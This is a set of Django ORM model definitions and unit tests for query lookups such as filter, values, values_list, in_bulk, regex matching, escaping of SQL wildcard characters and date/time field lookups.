    class Meta:
        ordering = ('name', )


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateTimeField()
    author = models.ForeignKey(Author, models.SET_NULL, blank=True, null=True)

    class Meta:
        ordering = ('-pub_date', 'headline')

    def __str__(self):
        return self.headline


class Tag(models.Model):
    articles = models.ManyToManyField(Article)
    name = models.CharField(max_length=100)

    class Meta:
        ordering = ('name', )


@python_2_unicode_compatible
class Season(models.Model):
    year = models.PositiveSmallIntegerField()
    gt = models.IntegerField(null=True, blank=True)

    def __str__(self):
        return six.text_type(self.year)


@python_2_unicode_compatible
class Game(models.Model):
    season = models.ForeignKey(Season, models.CASCADE, related_name='games')
    home = models.CharField(max_length=100)
    away = models.CharField(max_length=100)

    def __str__(self):
        return "%s at %s" % (self.away, self.home)


@python_2_unicode_compatible
class Player(models.Model):
    name = models.CharField(max_length=100)
    games = models.ManyToManyField(Game, related_name='players')

    def __str__(self):
        return self.name


# To test __search lookup a fulltext index is needed. This
# is only available when using MySQL 5.6, or when using MyISAM
# tables. As 5.6 isn't common yet, lets use MyISAM table for
# testing. The table is manually created by the test method.
# RemovedInDjango20Warning
class MyISAMArticle(models.Model):
    headline = models.CharField(max_length=100)

    class Meta:
        db_table = 'myisam_article'
        managed = False






from __future__ import unicode_literals

from django.test import TestCase

from .models import Alarm


class TimeFieldLookupTests(TestCase):

    @classmethod
    def setUpTestData(self):
        # Create a few Alarms
        self.al1 = Alarm.objects.create(desc='Early', time='05:30')
        self.al2 = Alarm.objects.create(desc='Late', time='10:00')
        self.al3 = Alarm.objects.create(desc='Precise', time='12:34:56')

    def test_hour_lookups(self):
        self.assertQuerysetEqual(
            Alarm.objects.filter(time__hour=5),
            ['<Alarm: 05:30:00 (Early)>'],
            ordered=False
        )

    def test_minute_lookups(self):
        self.assertQuerysetEqual(
            Alarm.objects.filter(time__minute=30),
            ['<Alarm: 05:30:00 (Early)>'],
            ordered=False
        )

    def test_second_lookups(self):
        self.assertQuerysetEqual(
            Alarm.objects.filter(time__second=56),
            ['<Alarm: 12:34:56 (Precise)>'],
            ordered=False
        )












from __future__ import unicode_literals

import collections
from datetime import datetime
from operator import attrgetter
from unittest import skipUnless

from django.core.exceptions import FieldError
from django.db import connection
from django.test import (
    TestCase, TransactionTestCase, ignore_warnings, skipUnlessDBFeature,
)
from django.utils.deprecation import RemovedInDjango20Warning

from .models import Article, Author, Game, MyISAMArticle, Player, Season, Tag


class LookupTests(TestCase):

    def setUp(self):
        # Create a few Authors.
        self.au1 = Author.objects.create(name='Author 1')
        self.au2 = Author.objects.create(name='Author 2')
        # Create a couple of Articles.
        self.a1 = Article.objects.create(headline='Article 1', pub_date=datetime(2005, 7, 26), author=self.au1)
        self.a2 = Article.objects.create(headline='Article 2', pub_date=datetime(2005, 7, 27), author=self.au1)
        self.a3 = Article.objects.create(headline='Article 3', pub_date=datetime(2005, 7, 27), author=self.au1)
        self.a4 = Article.objects.create(headline='Article 4', pub_date=datetime(2005, 7, 28), author=self.au1)
        self.a5 = Article.objects.create(headline='Article 5', pub_date=datetime(2005, 8, 1, 9, 0), author=self.au2)
        self.a6 = Article.objects.create(headline='Article 6', pub_date=datetime(2005, 8, 1, 8, 0), author=self.au2)
        self.a7 = Article.objects.create(headline='Article 7', pub_date=datetime(2005, 7, 27), author=self.au2)
        # Create a few Tags.
        self.t1 = Tag.objects.create(name='Tag 1')
        self.t1.articles.add(self.a1, self.a2, self.a3)
        self.t2 = Tag.objects.create(name='Tag 2')
        self.t2.articles.add(self.a3, self.a4, self.a5)
        self.t3 = Tag.objects.create(name='Tag 3')
        self.t3.articles.add(self.a5, self.a6, self.a7)

    def test_exists(self):
        # We can use .exists() to check that there are some
        self.assertTrue(Article.objects.exists())
        for a in Article.objects.all():
            a.delete()
        # There should be none now!
        self.assertFalse(Article.objects.exists())

    def test_lookup_int_as_str(self):
        # Integer value can be queried using string
        self.assertQuerysetEqual(Article.objects.filter(id__iexact=str(self.a1.id)),
                                 ['<Article: Article 1>'])

    @skipUnlessDBFeature('supports_date_lookup_using_string')
    def test_lookup_date_as_str(self):
        # A date lookup can be performed using a string search
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__startswith='2005'),
            [
                '<Article: Article 5>',
                '<Article: Article 6>',
                '<Article: Article 4>',
                '<Article: Article 2>',
                '<Article: Article 3>',
                '<Article: Article 7>',
                '<Article: Article 1>',
            ]
        )

    def test_iterator(self):
        # Each QuerySet gets iterator(), which is a generator that "lazily"
        # returns results using database-level iteration.
        self.assertIsInstance(Article.objects.iterator(), collections.Iterator)

        self.assertQuerysetEqual(
            Article.objects.iterator(),
            [
                'Article 5',
                'Article 6',
                'Article 4',
                'Article 2',
                'Article 3',
                'Article 7',
                'Article 1',
            ],
            transform=attrgetter('headline')
        )
        # iterator() can be used on any QuerySet.
        self.assertQuerysetEqual(
            Article.objects.filter(headline__endswith='4').iterator(),
            ['Article 4'],
            transform=attrgetter('headline'))

    def test_count(self):
        # count() returns the number of objects matching search criteria.
        self.assertEqual(Article.objects.count(), 7)
        self.assertEqual(Article.objects.filter(pub_date__exact=datetime(2005, 7, 27)).count(), 3)
        self.assertEqual(Article.objects.filter(headline__startswith='Blah blah').count(), 0)

        # count() should respect sliced query sets.
        articles = Article.objects.all()
        self.assertEqual(articles.count(), 7)
        self.assertEqual(articles[:4].count(), 4)
        self.assertEqual(articles[1:100].count(), 6)
        self.assertEqual(articles[10:100].count(), 0)

        # Date and date/time lookups can also be done with strings.
        self.assertEqual(Article.objects.filter(pub_date__exact='2005-07-27 00:00:00').count(), 3)

    def test_in_bulk(self):
        # in_bulk() takes a list of IDs and returns a dictionary mapping IDs to objects.
        arts = Article.objects.in_bulk([self.a1.id, self.a2.id])
        self.assertEqual(arts[self.a1.id], self.a1)
        self.assertEqual(arts[self.a2.id], self.a2)
        self.assertEqual(
            Article.objects.in_bulk(),
            {
                self.a1.id: self.a1,
                self.a2.id: self.a2,
                self.a3.id: self.a3,
                self.a4.id: self.a4,
                self.a5.id: self.a5,
                self.a6.id: self.a6,
                self.a7.id: self.a7,
            }
        )
        self.assertEqual(Article.objects.in_bulk([self.a3.id]), {self.a3.id: self.a3})
        self.assertEqual(Article.objects.in_bulk({self.a3.id}), {self.a3.id: self.a3})
        self.assertEqual(Article.objects.in_bulk(frozenset([self.a3.id])), {self.a3.id: self.a3})
        self.assertEqual(Article.objects.in_bulk((self.a3.id,)), {self.a3.id: self.a3})
        self.assertEqual(Article.objects.in_bulk([1000]), {})
        self.assertEqual(Article.objects.in_bulk([]), {})
        self.assertEqual(Article.objects.in_bulk(iter([self.a1.id])), {self.a1.id: self.a1})
        self.assertEqual(Article.objects.in_bulk(iter([])), {})
        with self.assertRaises(TypeError):
            Article.objects.in_bulk(headline__startswith='Blah')

    def test_values(self):
        # values() returns a list of dictionaries instead of object instances --
        # and you can specify which fields you want to retrieve.
        def identity(x):
            return x
        self.assertQuerysetEqual(
            Article.objects.values('headline'),
            [
                {'headline': 'Article 5'},
                {'headline': 'Article 6'},
                {'headline': 'Article 4'},
                {'headline': 'Article 2'},
                {'headline': 'Article 3'},
                {'headline': 'Article 7'},
                {'headline': 'Article 1'},
            ],
            transform=identity
        )
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__exact=datetime(2005, 7, 27)).values('id'),
            [{'id': self.a2.id}, {'id': self.a3.id}, {'id': self.a7.id}],
            transform=identity
        )
        self.assertQuerysetEqual(
            Article.objects.values('id', 'headline'),
            [
                {'id': self.a5.id, 'headline': 'Article 5'},
                {'id': self.a6.id, 'headline': 'Article 6'},
                {'id': self.a4.id, 'headline': 'Article 4'},
                {'id': self.a2.id, 'headline': 'Article 2'},
                {'id': self.a3.id, 'headline': 'Article 3'},
                {'id': self.a7.id, 'headline': 'Article 7'},
                {'id': self.a1.id, 'headline': 'Article 1'},
            ],
            transform=identity
        )
        # You can use values() with iterator() for memory savings,
        # because iterator() uses database-level iteration.
        self.assertQuerysetEqual(
            Article.objects.values('id', 'headline').iterator(),
            [
                {'headline': 'Article 5', 'id': self.a5.id},
                {'headline': 'Article 6', 'id': self.a6.id},
                {'headline': 'Article 4', 'id': self.a4.id},
                {'headline': 'Article 2', 'id': self.a2.id},
                {'headline': 'Article 3', 'id': self.a3.id},
                {'headline': 'Article 7', 'id': self.a7.id},
                {'headline': 'Article 1', 'id': self.a1.id},
            ],
            transform=identity
        )
        # The values() method works with "extra" fields specified in extra(select).
        self.assertQuerysetEqual(
            Article.objects.extra(select={'id_plus_one': 'id + 1'}).values('id', 'id_plus_one'),
            [
                {'id': self.a5.id, 'id_plus_one': self.a5.id + 1},
                {'id': self.a6.id, 'id_plus_one': self.a6.id + 1},
                {'id': self.a4.id, 'id_plus_one': self.a4.id + 1},
                {'id': self.a2.id, 'id_plus_one': self.a2.id + 1},
                {'id': self.a3.id, 'id_plus_one': self.a3.id + 1},
                {'id': self.a7.id, 'id_plus_one': self.a7.id + 1},
                {'id': self.a1.id, 'id_plus_one': self.a1.id + 1},
            ],
            transform=identity
        )
        data = {
            'id_plus_one': 'id+1',
            'id_plus_two': 'id+2',
            'id_plus_three': 'id+3',
            'id_plus_four': 'id+4',
            'id_plus_five': 'id+5',
            'id_plus_six': 'id+6',
            'id_plus_seven': 'id+7',
            'id_plus_eight': 'id+8',
        }
        self.assertQuerysetEqual(
            Article.objects.filter(id=self.a1.id).extra(select=data).values(*data.keys()),
            [{
                'id_plus_one': self.a1.id + 1,
                'id_plus_two': self.a1.id + 2,
                'id_plus_three': self.a1.id + 3,
                'id_plus_four': self.a1.id + 4,
                'id_plus_five': self.a1.id + 5,
                'id_plus_six': self.a1.id + 6,
                'id_plus_seven': self.a1.id + 7,
                'id_plus_eight': self.a1.id + 8,
            }], transform=identity
        )
        # You can specify fields from forward and reverse relations, just like filter().
        self.assertQuerysetEqual(
            Article.objects.values('headline', 'author__name'),
            [
                {'headline': self.a5.headline, 'author__name': self.au2.name},
                {'headline': self.a6.headline, 'author__name': self.au2.name},
                {'headline': self.a4.headline, 'author__name': self.au1.name},
                {'headline': self.a2.headline, 'author__name': self.au1.name},
                {'headline': self.a3.headline, 'author__name': self.au1.name},
                {'headline': self.a7.headline, 'author__name': self.au2.name},
                {'headline': self.a1.headline, 'author__name': self.au1.name},
            ], transform=identity
        )
        self.assertQuerysetEqual(
            Author.objects.values('name', 'article__headline').order_by('name', 'article__headline'),
            [
                {'name': self.au1.name, 'article__headline': self.a1.headline},
                {'name': self.au1.name, 'article__headline': self.a2.headline},
                {'name': self.au1.name, 'article__headline': self.a3.headline},
                {'name': self.au1.name, 'article__headline': self.a4.headline},
                {'name': self.au2.name, 'article__headline': self.a5.headline},
                {'name': self.au2.name, 'article__headline': self.a6.headline},
                {'name': self.au2.name, 'article__headline': self.a7.headline},
            ], transform=identity
        )
        self.assertQuerysetEqual(
            (
                Author.objects
                .values('name', 'article__headline', 'article__tag__name')
                .order_by('name', 'article__headline', 'article__tag__name')
            ),
            [
                {'name': self.au1.name, 'article__headline': self.a1.headline, 'article__tag__name': self.t1.name},
                {'name': self.au1.name, 'article__headline': self.a2.headline, 'article__tag__name': self.t1.name},
                {'name': self.au1.name, 'article__headline': self.a3.headline, 'article__tag__name': self.t1.name},
                {'name': self.au1.name, 'article__headline': self.a3.headline, 'article__tag__name': self.t2.name},
                {'name': self.au1.name, 'article__headline': self.a4.headline, 'article__tag__name': self.t2.name},
                {'name': self.au2.name, 'article__headline': self.a5.headline, 'article__tag__name': self.t2.name},
                {'name': self.au2.name, 'article__headline': self.a5.headline, 'article__tag__name': self.t3.name},
                {'name': self.au2.name, 'article__headline': self.a6.headline, 'article__tag__name': self.t3.name},
                {'name': self.au2.name, 'article__headline': self.a7.headline, 'article__tag__name': self.t3.name},
            ], transform=identity
        )
        # However, an exception FieldDoesNotExist will be thrown if you specify
        # a non-existent field name in values() (a field that is neither in the
        # model nor in extra(select)).
        with self.assertRaises(FieldError):
            Article.objects.extra(select={'id_plus_one': 'id + 1'}).values('id', 'id_plus_two')
        # If you don't specify field names to values(), all are returned.
        self.assertQuerysetEqual(
            Article.objects.filter(id=self.a5.id).values(),
            [{
                'id': self.a5.id,
                'author_id': self.au2.id,
                'headline': 'Article 5',
                'pub_date': datetime(2005, 8, 1, 9, 0)
            }],
            transform=identity
        )

    def test_values_list(self):
        # values_list() is similar to values(), except that the results are
        # returned as a list of tuples, rather than a list of dictionaries.
        # Within each tuple, the order of the elements is the same as the order
        # of fields in the values_list() call.
        def identity(x):
            return x
        self.assertQuerysetEqual(
            Article.objects.values_list('headline'),
            [
                ('Article 5',),
                ('Article 6',),
                ('Article 4',),
                ('Article 2',),
                ('Article 3',),
                ('Article 7',),
                ('Article 1',),
            ], transform=identity
        )
        self.assertQuerysetEqual(
            Article.objects.values_list('id').order_by('id'),
            [(self.a1.id,), (self.a2.id,), (self.a3.id,), (self.a4.id,), (self.a5.id,), (self.a6.id,), (self.a7.id,)],
            transform=identity
        )
        self.assertQuerysetEqual(
            Article.objects.values_list('id', flat=True).order_by('id'),
            [self.a1.id, self.a2.id, self.a3.id, self.a4.id, self.a5.id, self.a6.id, self.a7.id],
            transform=identity
        )
        self.assertQuerysetEqual(
            Article.objects.extra(select={'id_plus_one': 'id+1'}).order_by('id').values_list('id'),
            [(self.a1.id,), (self.a2.id,), (self.a3.id,), (self.a4.id,), (self.a5.id,), (self.a6.id,), (self.a7.id,)],
            transform=identity
        )
        self.assertQuerysetEqual(
            Article.objects.extra(select={'id_plus_one': 'id+1'}).order_by('id').values_list('id_plus_one', 'id'),
            [
                (self.a1.id + 1, self.a1.id),
                (self.a2.id + 1, self.a2.id),
                (self.a3.id + 1, self.a3.id),
                (self.a4.id + 1, self.a4.id),
                (self.a5.id + 1, self.a5.id),
                (self.a6.id + 1, self.a6.id),
                (self.a7.id + 1, self.a7.id)
            ],
            transform=identity
        )
        self.assertQuerysetEqual(
            Article.objects.extra(select={'id_plus_one': 'id+1'}).order_by('id').values_list('id', 'id_plus_one'),
            [
                (self.a1.id, self.a1.id + 1),
                (self.a2.id, self.a2.id + 1),
                (self.a3.id, self.a3.id + 1),
                (self.a4.id, self.a4.id + 1),
                (self.a5.id, self.a5.id + 1),
                (self.a6.id, self.a6.id + 1),
                (self.a7.id, self.a7.id + 1)
            ],
            transform=identity
        )
        args = ('name', 'article__headline', 'article__tag__name')
        self.assertQuerysetEqual(
            Author.objects.values_list(*args).order_by(*args),
            [
                (self.au1.name, self.a1.headline, self.t1.name),
                (self.au1.name, self.a2.headline, self.t1.name),
                (self.au1.name, self.a3.headline, self.t1.name),
                (self.au1.name, self.a3.headline, self.t2.name),
                (self.au1.name, self.a4.headline, self.t2.name),
                (self.au2.name, self.a5.headline, self.t2.name),
                (self.au2.name, self.a5.headline, self.t3.name),
                (self.au2.name, self.a6.headline, self.t3.name),
                (self.au2.name, self.a7.headline, self.t3.name),
            ], transform=identity
        )
        with self.assertRaises(TypeError):
            Article.objects.values_list('id', 'headline', flat=True)

    def test_get_next_previous_by(self):
        # Every DateField and DateTimeField creates get_next_by_FOO() and
        # get_previous_by_FOO() methods. In the case of identical date values,
        # these methods will use the ID as a fallback check. This guarantees
        # that no records are skipped or duplicated.
        self.assertEqual(repr(self.a1.get_next_by_pub_date()), '<Article: Article 2>')
        self.assertEqual(repr(self.a2.get_next_by_pub_date()), '<Article: Article 3>')
        self.assertEqual(repr(self.a2.get_next_by_pub_date(headline__endswith='6')), '<Article: Article 6>')
        self.assertEqual(repr(self.a3.get_next_by_pub_date()), '<Article: Article 7>')
        self.assertEqual(repr(self.a4.get_next_by_pub_date()), '<Article: Article 6>')
        with self.assertRaises(Article.DoesNotExist):
            self.a5.get_next_by_pub_date()
        self.assertEqual(repr(self.a6.get_next_by_pub_date()), '<Article: Article 5>')
        self.assertEqual(repr(self.a7.get_next_by_pub_date()), '<Article: Article 4>')

        self.assertEqual(repr(self.a7.get_previous_by_pub_date()), '<Article: Article 3>')
        self.assertEqual(repr(self.a6.get_previous_by_pub_date()), '<Article: Article 4>')
        self.assertEqual(repr(self.a5.get_previous_by_pub_date()), '<Article: Article 6>')
        self.assertEqual(repr(self.a4.get_previous_by_pub_date()), '<Article: Article 7>')
        self.assertEqual(repr(self.a3.get_previous_by_pub_date()), '<Article: Article 2>')
        self.assertEqual(repr(self.a2.get_previous_by_pub_date()), '<Article: Article 1>')

    def test_escaping(self):
        # Underscores, percent signs and backslashes have special meaning in the
        # underlying SQL code, but Django handles the quoting of them automatically.
        Article.objects.create(headline='Article_ with underscore', pub_date=datetime(2005, 11, 20))

        self.assertQuerysetEqual(
            Article.objects.filter(headline__startswith='Article'),
            [
                '<Article: Article_ with underscore>',
                '<Article: Article 5>',
                '<Article: Article 6>',
                '<Article: Article 4>',
                '<Article: Article 2>',
                '<Article: Article 3>',
                '<Article: Article 7>',
                '<Article: Article 1>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(headline__startswith='Article_'),
            ['<Article: Article_ with underscore>']
        )
        Article.objects.create(headline='Article% with percent sign', pub_date=datetime(2005, 11, 21))
        self.assertQuerysetEqual(
            Article.objects.filter(headline__startswith='Article'),
            [
                '<Article: Article% with percent sign>',
                '<Article: Article_ with underscore>',
                '<Article: Article 5>',
                '<Article: Article 6>',
                '<Article: Article 4>',
                '<Article: Article 2>',
                '<Article: Article 3>',
                '<Article: Article 7>',
                '<Article: Article 1>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(headline__startswith='Article%'),
            ['<Article: Article% with percent sign>']
        )
        Article.objects.create(headline='Article with \\ backslash', pub_date=datetime(2005, 11, 22))
        self.assertQuerysetEqual(
            Article.objects.filter(headline__contains='\\'),
            ['<Article: Article with \ backslash>']
        )

    def test_exclude(self):
        Article.objects.create(headline='Article_ with underscore', pub_date=datetime(2005, 11, 20))
        Article.objects.create(headline='Article% with percent sign', pub_date=datetime(2005, 11, 21))
        Article.objects.create(headline='Article with \\ backslash', pub_date=datetime(2005, 11, 22))

        # exclude() is the opposite of filter() when doing lookups:
        self.assertQuerysetEqual(
            Article.objects.filter(headline__contains='Article').exclude(headline__contains='with'),
            [
                '<Article: Article 5>',
                '<Article: Article 6>',
                '<Article: Article 4>',
                '<Article: Article 2>',
                '<Article: Article 3>',
                '<Article: Article 7>',
                '<Article: Article 1>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.exclude(headline__startswith="Article_"),
            [
                '<Article: Article with \\ backslash>',
                '<Article: Article% with percent sign>',
                '<Article: Article 5>',
                '<Article: Article 6>',
                '<Article: Article 4>',
                '<Article: Article 2>',
                '<Article: Article 3>',
                '<Article: Article 7>',
                '<Article: Article 1>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.exclude(headline="Article 7"),
            [
                '<Article: Article with \\ backslash>',
                '<Article: Article% with percent sign>',
                '<Article: Article_ with underscore>',
                '<Article: Article 5>',
                '<Article: Article 6>',
                '<Article: Article 4>',
                '<Article: Article 2>',
                '<Article: Article 3>',
                '<Article: Article 1>',
            ]
        )

    def test_none(self):
        # none() returns a QuerySet that behaves like any other QuerySet object
        self.assertQuerysetEqual(Article.objects.none(), [])
        self.assertQuerysetEqual(Article.objects.none().filter(headline__startswith='Article'), [])
        self.assertQuerysetEqual(Article.objects.filter(headline__startswith='Article').none(), [])
        self.assertEqual(Article.objects.none().count(), 0)
        self.assertEqual(Article.objects.none().update(headline="This should not take effect"), 0)
        self.assertQuerysetEqual([article for article in Article.objects.none().iterator()], [])

    def test_in(self):
        # using __in with an empty list should return an empty query set
        self.assertQuerysetEqual(Article.objects.filter(id__in=[]), [])
        self.assertQuerysetEqual(
            Article.objects.exclude(id__in=[]),
            [
                '<Article: Article 5>',
                '<Article: Article 6>',
                '<Article: Article 4>',
                '<Article: Article 2>',
                '<Article: Article 3>',
                '<Article: Article 7>',
                '<Article: Article 1>',
            ]
        )

    def test_in_different_database(self):
        with self.assertRaisesMessage(
            ValueError,
            "Subqueries aren't allowed across different databases. Force the "
            "inner query to be evaluated using `list(inner_query)`."
        ):
            list(Article.objects.filter(id__in=Article.objects.using('other').all()))

    def test_error_messages(self):
        # Programming errors are pointed out with nice error messages
        with self.assertRaisesMessage(
            FieldError,
            "Cannot resolve keyword 'pub_date_year' into field. Choices are: "
            "author, author_id, headline, id, pub_date, tag"
        ):
            Article.objects.filter(pub_date_year='2005').count()

        with self.assertRaisesMessage(
            FieldError,
            "Unsupported lookup 'starts' for CharField or join on the field "
            "not permitted."
        ):
            Article.objects.filter(headline__starts='Article')

    def test_relation_nested_lookup_error(self):
        # An invalid nested lookup on a related field raises a useful error.
        msg = 'Related Field got invalid lookup: editor'
        with self.assertRaisesMessage(FieldError, msg):
            Article.objects.filter(author__editor__name='James')

    def test_regex(self):
        # Create some articles with a bit more interesting headlines for testing field lookups:
        for a in Article.objects.all():
            a.delete()
        now = datetime.now()
        Article.objects.create(pub_date=now, headline='f')
        Article.objects.create(pub_date=now, headline='fo')
        Article.objects.create(pub_date=now, headline='foo')
        Article.objects.create(pub_date=now, headline='fooo')
        Article.objects.create(pub_date=now, headline='hey-Foo')
        Article.objects.create(pub_date=now, headline='bar')
        Article.objects.create(pub_date=now, headline='AbBa')
        Article.objects.create(pub_date=now, headline='baz')
        Article.objects.create(pub_date=now, headline='baxZ')
        # zero-or-more
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'fo*'),
            ['<Article: f>', '<Article: fo>', '<Article: foo>', '<Article: fooo>']
        )
        self.assertQuerysetEqual(
            Article.objects.filter(headline__iregex=r'fo*'),
            [
                '<Article: f>',
                '<Article: fo>',
                '<Article: foo>',
                '<Article: fooo>',
                '<Article: hey-Foo>',
            ]
        )
        # one-or-more
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'fo+'),
            ['<Article: fo>', '<Article: foo>', '<Article: fooo>']
        )
        # wildcard
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'fooo?'),
            ['<Article: foo>', '<Article: fooo>']
        )
        # leading anchor
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'^b'),
            ['<Article: bar>', '<Article: baxZ>', '<Article: baz>']
        )
        self.assertQuerysetEqual(Article.objects.filter(headline__iregex=r'^a'), ['<Article: AbBa>'])
        # trailing anchor
        self.assertQuerysetEqual(Article.objects.filter(headline__regex=r'z$'), ['<Article: baz>'])
        self.assertQuerysetEqual(
            Article.objects.filter(headline__iregex=r'z$'),
            ['<Article: baxZ>', '<Article: baz>']
        )
        # character sets
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'ba[rz]'),
            ['<Article: bar>', '<Article: baz>']
        )
        self.assertQuerysetEqual(Article.objects.filter(headline__regex=r'ba.[RxZ]'), ['<Article: baxZ>'])
        self.assertQuerysetEqual(
            Article.objects.filter(headline__iregex=r'ba[RxZ]'),
            ['<Article: bar>', '<Article: baxZ>', '<Article: baz>']
        )

        # and more articles:
        Article.objects.create(pub_date=now, headline='foobar')
        Article.objects.create(pub_date=now, headline='foobaz')
        Article.objects.create(pub_date=now, headline='ooF')
        Article.objects.create(pub_date=now, headline='foobarbaz')
        Article.objects.create(pub_date=now, headline='zoocarfaz')
        Article.objects.create(pub_date=now, headline='barfoobaz')
        Article.objects.create(pub_date=now, headline='bazbaRFOO')

        # alternation
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'oo(f|b)'),
            [
                '<Article: barfoobaz>',
                '<Article: foobar>',
                '<Article: foobarbaz>',
                '<Article: foobaz>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(headline__iregex=r'oo(f|b)'),
            [
                '<Article: barfoobaz>',
                '<Article: foobar>',
                '<Article: foobarbaz>',
                '<Article: foobaz>',
                '<Article: ooF>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'^foo(f|b)'),
            ['<Article: foobar>', '<Article: foobarbaz>', '<Article: foobaz>']
        )

        # greedy matching
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'b.*az'),
            [
                '<Article: barfoobaz>',
                '<Article: baz>',
                '<Article: bazbaRFOO>',
                '<Article: foobarbaz>',
                '<Article: foobaz>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(headline__iregex=r'b.*ar'),
            [
                '<Article: bar>',
                '<Article: barfoobaz>',
                '<Article: bazbaRFOO>',
                '<Article: foobar>',
                '<Article: foobarbaz>',
            ]
        )

    @skipUnlessDBFeature('supports_regex_backreferencing')
    def test_regex_backreferencing(self):
        # grouping and backreferences
        now = datetime.now()
        Article.objects.create(pub_date=now, headline='foobar')
        Article.objects.create(pub_date=now, headline='foobaz')
        Article.objects.create(pub_date=now, headline='ooF')
        Article.objects.create(pub_date=now, headline='foobarbaz')
        Article.objects.create(pub_date=now, headline='zoocarfaz')
        Article.objects.create(pub_date=now, headline='barfoobaz')
        Article.objects.create(pub_date=now, headline='bazbaRFOO')
        self.assertQuerysetEqual(
            Article.objects.filter(headline__regex=r'b(.).*b\1'),
            ['<Article: barfoobaz>', '<Article: bazbaRFOO>', '<Article: foobarbaz>']
        )

    def test_regex_null(self):
        """
        Ensure that a regex lookup does not fail on null/None values
        """
        Season.objects.create(year=2012, gt=None)
        self.assertQuerysetEqual(Season.objects.filter(gt__regex=r'^$'), [])

    def test_regex_non_string(self):
        """
        Ensure that a regex lookup does not fail on non-string fields
        """
        Season.objects.create(year=2013, gt=444)
        self.assertQuerysetEqual(Season.objects.filter(gt__regex=r'^444$'), ['<Season: 2013>'])

    def test_regex_non_ascii(self):
        """
        Ensure that a regex lookup does not trip on non-ASCII characters.
        """
        Player.objects.create(name='\u2660')
        Player.objects.get(name__regex='\u2660')

    def test_nonfield_lookups(self):
        """
        Ensure that a lookup query containing non-fields raises the proper
        exception.
        """
        with self.assertRaises(FieldError):
            Article.objects.filter(headline__blahblah=99)
        with self.assertRaises(FieldError):
            Article.objects.filter(headline__blahblah__exact=99)
        with self.assertRaises(FieldError):
            Article.objects.filter(blahblah=99)

    def test_lookup_collision(self):
        """
        Ensure that genuine field names don't collide with built-in lookup
        types ('year', 'gt', 'range', 'in' etc.).
        Refs #11670.
        """

        # Here we're using 'gt' as a code number for the year, e.g. 111=>2009.
        season_2009 = Season.objects.create(year=2009, gt=111)
        season_2009.games.create(home="Houston Astros", away="St. Louis Cardinals")
        season_2010 = Season.objects.create(year=2010, gt=222)
        season_2010.games.create(home="Houston Astros", away="Chicago Cubs")
        season_2010.games.create(home="Houston Astros", away="Milwaukee Brewers")
        season_2010.games.create(home="Houston Astros", away="St. Louis Cardinals")
        season_2011 = Season.objects.create(year=2011, gt=333)
        season_2011.games.create(home="Houston Astros", away="St. Louis Cardinals")
        season_2011.games.create(home="Houston Astros", away="Milwaukee Brewers")
        hunter_pence = Player.objects.create(name="Hunter Pence")
        hunter_pence.games.set(Game.objects.filter(season__year__in=[2009, 2010]))
        pudge = Player.objects.create(name="Ivan Rodriquez")
        pudge.games.set(Game.objects.filter(season__year=2009))
        pedro_feliz = Player.objects.create(name="Pedro Feliz")
        pedro_feliz.games.set(Game.objects.filter(season__year__in=[2011]))
        johnson = Player.objects.create(name="Johnson")
        johnson.games.set(Game.objects.filter(season__year__in=[2011]))

        # Games in 2010
        self.assertEqual(Game.objects.filter(season__year=2010).count(), 3)
        self.assertEqual(Game.objects.filter(season__year__exact=2010).count(), 3)
        self.assertEqual(Game.objects.filter(season__gt=222).count(), 3)
        self.assertEqual(Game.objects.filter(season__gt__exact=222).count(), 3)

        # Games in 2011
        self.assertEqual(Game.objects.filter(season__year=2011).count(), 2)
        self.assertEqual(Game.objects.filter(season__year__exact=2011).count(), 2)
        self.assertEqual(Game.objects.filter(season__gt=333).count(), 2)
        self.assertEqual(Game.objects.filter(season__gt__exact=333).count(), 2)
        self.assertEqual(Game.objects.filter(season__year__gt=2010).count(), 2)
        self.assertEqual(Game.objects.filter(season__gt__gt=222).count(), 2)

        # Games played in 2010 and 2011
        self.assertEqual(Game.objects.filter(season__year__in=[2010, 2011]).count(), 5)
        self.assertEqual(Game.objects.filter(season__year__gt=2009).count(), 5)
        self.assertEqual(Game.objects.filter(season__gt__in=[222, 333]).count(), 5)
        self.assertEqual(Game.objects.filter(season__gt__gt=111).count(), 5)

        # Players who played in 2009
        self.assertEqual(Player.objects.filter(games__season__year=2009).distinct().count(), 2)
        self.assertEqual(Player.objects.filter(games__season__year__exact=2009).distinct().count(), 2)
        self.assertEqual(Player.objects.filter(games__season__gt=111).distinct().count(), 2)
        self.assertEqual(Player.objects.filter(games__season__gt__exact=111).distinct().count(), 2)

        # Players who played in 2010
        self.assertEqual(Player.objects.filter(games__season__year=2010).distinct().count(), 1)
        self.assertEqual(Player.objects.filter(games__season__year__exact=2010).distinct().count(), 1)
        self.assertEqual(Player.objects.filter(games__season__gt=222).distinct().count(), 1)
        self.assertEqual(Player.objects.filter(games__season__gt__exact=222).distinct().count(), 1)

        # Players who played in 2011
        self.assertEqual(Player.objects.filter(games__season__year=2011).distinct().count(), 2)
        self.assertEqual(Player.objects.filter(games__season__year__exact=2011).distinct().count(), 2)
        self.assertEqual(Player.objects.filter(games__season__gt=333).distinct().count(), 2)
        self.assertEqual(Player.objects.filter(games__season__year__gt=2010).distinct().count(), 2)
        self.assertEqual(Player.objects.filter(games__season__gt__gt=222).distinct().count(), 2)

    def test_chain_date_time_lookups(self):
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__month__gt=7),
            ['<Article: Article 5>', '<Article: Article 6>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__day__gte=27),
            ['<Article: Article 2>', '<Article: Article 3>',
             '<Article: Article 4>', '<Article: Article 7>'],
            ordered=False
        )
